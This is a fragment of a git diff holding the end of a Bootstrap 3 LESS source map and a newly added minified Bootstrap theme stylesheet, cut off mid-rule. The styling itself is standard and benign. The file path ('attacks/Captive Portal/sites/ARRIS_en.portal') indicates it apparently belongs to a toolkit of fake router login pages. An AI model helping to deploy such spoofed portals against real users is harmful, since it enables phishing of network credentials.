mixins\n// --------------------------------------------------\n\n@import \"variables.less\";\n@import \"mixins.less\";\n\n\n//\n// Buttons\n// --------------------------------------------------\n\n// Common styles\n.btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n text-shadow: 0 -1px 0 rgba(0,0,0,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 1px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n // Reset the shadow\n &:active,\n &.active {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n .box-shadow(none);\n }\n\n .badge {\n text-shadow: none;\n }\n}\n\n// Mixin for generating new styles\n.btn-styles(@btn-color: #555) {\n #gradient > .vertical(@start-color: @btn-color; @end-color: darken(@btn-color, 12%));\n .reset-filter(); // Disable gradients for IE9 because filter bleeds through rounded corners; see https://github.com/twbs/bootstrap/issues/10620\n background-repeat: repeat-x;\n border-color: darken(@btn-color, 14%);\n\n &:hover,\n &:focus {\n background-color: darken(@btn-color, 12%);\n background-position: 0 -15px;\n }\n\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n border-color: darken(@btn-color, 14%);\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n &,\n &:hover,\n &:focus,\n &.focus,\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n background-image: none;\n }\n }\n}\n\n// Common styles\n.btn {\n // Remove the gradient for the pressed/active state\n &:active,\n &.active {\n background-image: none;\n }\n}\n\n// Apply the mixin to the buttons\n.btn-default { .btn-styles(@btn-default-bg); text-shadow: 0 1px 0 #fff; border-color: #ccc; }\n.btn-primary { .btn-styles(@btn-primary-bg); }\n.btn-success { .btn-styles(@btn-success-bg); }\n.btn-info { .btn-styles(@btn-info-bg); }\n.btn-warning { .btn-styles(@btn-warning-bg); }\n.btn-danger { .btn-styles(@btn-danger-bg); }\n\n\n//\n// Images\n// --------------------------------------------------\n\n.thumbnail,\n.img-thumbnail {\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n\n\n//\n// Dropdowns\n// --------------------------------------------------\n\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-hover-bg; @end-color: darken(@dropdown-link-hover-bg, 5%));\n background-color: darken(@dropdown-link-hover-bg, 5%);\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n background-color: darken(@dropdown-link-active-bg, 5%);\n}\n\n\n//\n// Navbar\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n #gradient > .vertical(@start-color: lighten(@navbar-default-bg, 10%); @end-color: @navbar-default-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered\n border-radius: @navbar-border-radius;\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 5px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: darken(@navbar-default-link-active-bg, 5%); @end-color: darken(@navbar-default-link-active-bg, 2%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.075));\n }\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255,255,255,.25);\n}\n\n// Inverted navbar\n.navbar-inverse {\n #gradient > .vertical(@start-color: lighten(@navbar-inverse-bg, 10%); @end-color: @navbar-inverse-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered; see https://github.com/twbs/bootstrap/issues/10257\n border-radius: @navbar-border-radius;\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: @navbar-inverse-link-active-bg; @end-color: lighten(@navbar-inverse-link-active-bg, 2.5%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.25));\n }\n\n .navbar-brand,\n .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0,0,0,.25);\n }\n}\n\n// Undo rounded corners in static and fixed navbars\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n\n// Fix active state of dropdown items in collapsed mode\n@media (max-width: @grid-float-breakpoint-max) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: #fff;\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n }\n }\n}\n\n\n//\n// Alerts\n// --------------------------------------------------\n\n// Common styles\n.alert {\n text-shadow: 0 1px 0 rgba(255,255,255,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.25), 0 1px 2px rgba(0,0,0,.05);\n .box-shadow(@shadow);\n}\n\n// Mixin for generating new styles\n.alert-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 7.5%));\n border-color: darken(@color, 15%);\n}\n\n// Apply the mixin to the alerts\n.alert-success { .alert-styles(@alert-success-bg); }\n.alert-info { .alert-styles(@alert-info-bg); }\n.alert-warning { .alert-styles(@alert-warning-bg); }\n.alert-danger { .alert-styles(@alert-danger-bg); }\n\n\n//\n// Progress bars\n// --------------------------------------------------\n\n// Give the progress background some depth\n.progress {\n #gradient > .vertical(@start-color: darken(@progress-bg, 4%); @end-color: @progress-bg)\n}\n\n// Mixin for generating new styles\n.progress-bar-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 10%));\n}\n\n// Apply the mixin to the progress bars\n.progress-bar { .progress-bar-styles(@progress-bar-bg); }\n.progress-bar-success { .progress-bar-styles(@progress-bar-success-bg); }\n.progress-bar-info { .progress-bar-styles(@progress-bar-info-bg); }\n.progress-bar-warning { .progress-bar-styles(@progress-bar-warning-bg); }\n.progress-bar-danger { .progress-bar-styles(@progress-bar-danger-bg); }\n\n// Reset the striped class because our mixins don't do multiple gradients and\n// the above custom styles override the new `.progress-bar-striped` in v3.2.0.\n.progress-bar-striped {\n #gradient > .striped();\n}\n\n\n//\n// List groups\n// --------------------------------------------------\n\n.list-group {\n border-radius: @border-radius-base;\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 darken(@list-group-active-bg, 10%);\n #gradient > .vertical(@start-color: @list-group-active-bg; @end-color: darken(@list-group-active-bg, 7.5%));\n border-color: darken(@list-group-active-border, 7.5%);\n\n .badge {\n text-shadow: none;\n }\n}\n\n\n//\n// Panels\n// --------------------------------------------------\n\n// Common styles\n.panel {\n .box-shadow(0 1px 2px rgba(0,0,0,.05));\n}\n\n// Mixin for generating new styles\n.panel-heading-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 5%));\n}\n\n// Apply the mixin to the panel headings only\n.panel-default > .panel-heading { .panel-heading-styles(@panel-default-heading-bg); }\n.panel-primary > .panel-heading { .panel-heading-styles(@panel-primary-heading-bg); }\n.panel-success > .panel-heading { .panel-heading-styles(@panel-success-heading-bg); }\n.panel-info > .panel-heading { .panel-heading-styles(@panel-info-heading-bg); }\n.panel-warning > .panel-heading { .panel-heading-styles(@panel-warning-heading-bg); }\n.panel-danger > .panel-heading { .panel-heading-styles(@panel-danger-heading-bg); }\n\n\n//\n// Wells\n// --------------------------------------------------\n\n.well {\n #gradient > .vertical(@start-color: darken(@well-bg, 5%); @end-color: @well-bg);\n border-color: darken(@well-bg, 10%);\n @shadow: inset 0 1px 3px rgba(0,0,0,.05), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They have been removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility) {\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n"]} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css new file mode 100644 index 0000000..5e39401 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css @@ -0,0 +1,6 @@ +/*! + * Bootstrap v3.3.7 (http://getbootstrap.com) + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */.btn-danger,.btn-default,.btn-info,.btn-primary,.btn-success,.btn-warning{text-shadow:0 -1px 0 rgba(0,0,0,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075)}.btn-danger.active,.btn-danger:active,.btn-default.active,.btn-default:active,.btn-info.active,.btn-info:active,.btn-primary.active,.btn-primary:active,.btn-success.active,.btn-success:active,.btn-warning.active,.btn-warning:active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-danger.disabled,.btn-danger[disabled],.btn-default.disabled,.btn-default[disabled],.btn-info.disabled,.btn-info[disabled],.btn-primary.disabled,.btn-primary[disabled],.btn-success.disabled,.btn-success[disabled],.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-danger,fieldset[disabled] .btn-default,fieldset[disabled] .btn-info,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-success,fieldset[disabled] .btn-warning{-webkit-box-shadow:none;box-shadow:none}.btn-danger .badge,.btn-default .badge,.btn-info .badge,.btn-primary .badge,.btn-success .badge,.btn-warning .badge{text-shadow:none}.btn.active,.btn:active{background-image:none}.btn-default{text-shadow:0 1px 0 #fff;background-image:-webkit-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-o-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e0e0e0));background-image:linear-gradient(to bottom,#fff 0,#e0e0e0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#dbdbdb;border-color:#ccc}.btn-default:focus,.btn-default:hover{background-color:#e0e0e0;background-position:0 -15px}.btn-default.active,.btn-default:active{background-color:#e0e0e0;border-color:#dbdbdb}.btn-default.disabled,.btn-default.disabled.active,.btn-default.disabled.focus,.btn-default.disabled:active,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled],.btn-default[disabled].active,.btn-default[disabled].focus,.btn-default[disabled]:active,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default,fieldset[disabled] .btn-default.active,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:active,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#e0e0e0;background-image:none}.btn-primary{background-image:-webkit-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-o-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#265a88));background-image:linear-gradient(to bottom,#337ab7 0,#265a88 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#245580}.btn-primary:focus,.btn-primary:hover{background-color:#265a88;background-position:0 -15px}.btn-primary.active,.btn-primary:active{background-color:#265a88;border-color:#245580}.btn-primary.disabled,.btn-primary.disabled.active,.btn-primary.disabled.focus,.btn-primary.disabled:active,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled],.btn-primary[disabled].active,.btn-primary[disabled].focus,.btn-primary[disabled]:active,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-primary.active,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:active,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#265a88;background-image:none}.btn-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#419641));background-image:linear-gradient(to bottom,#5cb85c 0,#419641 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#3e8f3e}.btn-success:focus,.btn-success:hover{background-color:#419641;background-position:0 -15px}.btn-success.active,.btn-success:active{background-color:#419641;border-color:#3e8f3e}.btn-success.disabled,.btn-success.disabled.active,.btn-success.disabled.focus,.btn-success.disabled:active,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled],.btn-success[disabled].active,.btn-success[disabled].focus,.btn-success[disabled]:active,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success,fieldset[disabled] .btn-success.active,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:active,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#419641;background-image:none}.btn-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#2aabd2));background-image:linear-gradient(to bottom,#5bc0de 0,#2aabd2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#28a4c9}.btn-info:focus,.btn-info:hover{background-color:#2aabd2;background-position:0 -15px}.btn-info.active,.btn-info:active{background-color:#2aabd2;border-color:#28a4c9}.btn-info.disabled,.btn-info.disabled.active,.btn-info.disabled.focus,.btn-info.disabled:active,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled],.btn-info[disabled].active,.btn-info[disabled].focus,.btn-info[disabled]:active,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info,fieldset[disabled] .btn-info.active,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:active,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#2aabd2;background-image:none}.btn-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#eb9316));background-image:linear-gradient(to bottom,#f0ad4e 0,#eb9316 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#e38d13}.btn-warning:focus,.btn-warning:hover{background-color:#eb9316;background-position:0 -15px}.btn-warning.active,.btn-warning:active{background-color:#eb9316;border-color:#e38d13}.btn-warning.disabled,.btn-warning.disabled.active,.btn-warning.disabled.focus,.btn-warning.disabled:active,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled],.btn-warning[disabled].active,.btn-warning[disabled].focus,.btn-warning[disabled]:active,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning,fieldset[disabled] .btn-warning.active,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:active,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#eb9316;background-image:none}.btn-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c12e2a));background-image:linear-gradient(to bottom,#d9534f 0,#c12e2a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#b92c28}.btn-danger:focus,.btn-danger:hover{background-color:#c12e2a;background-position:0 -15px}.btn-danger.active,.btn-danger:active{background-color:#c12e2a;border-color:#b92c28}.btn-danger.disabled,.btn-danger.disabled.active,.btn-danger.disabled.focus,.btn-danger.disabled:active,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled],.btn-danger[disabled].active,.btn-danger[disabled].focus,.btn-danger[disabled]:active,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger,fieldset[disabled] .btn-danger.active,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:active,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#c12e2a;background-image:none}.img-thumbnail,.thumbnail{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#e8e8e8;background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{background-color:#2e6da4;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.navbar-default{background-image:-webkit-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-o-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#f8f8f8));background-image:linear-gradient(to bottom,#fff 0,#f8f8f8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075)}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-o-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dbdbdb),to(#e2e2e2));background-image:linear-gradient(to bottom,#dbdbdb 0,#e2e2e2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.075);box-shadow:inset 0 3px 9px rgba(0,0,0,.075)}.navbar-brand,.navbar-nav>li>a{text-shadow:0 1px 0 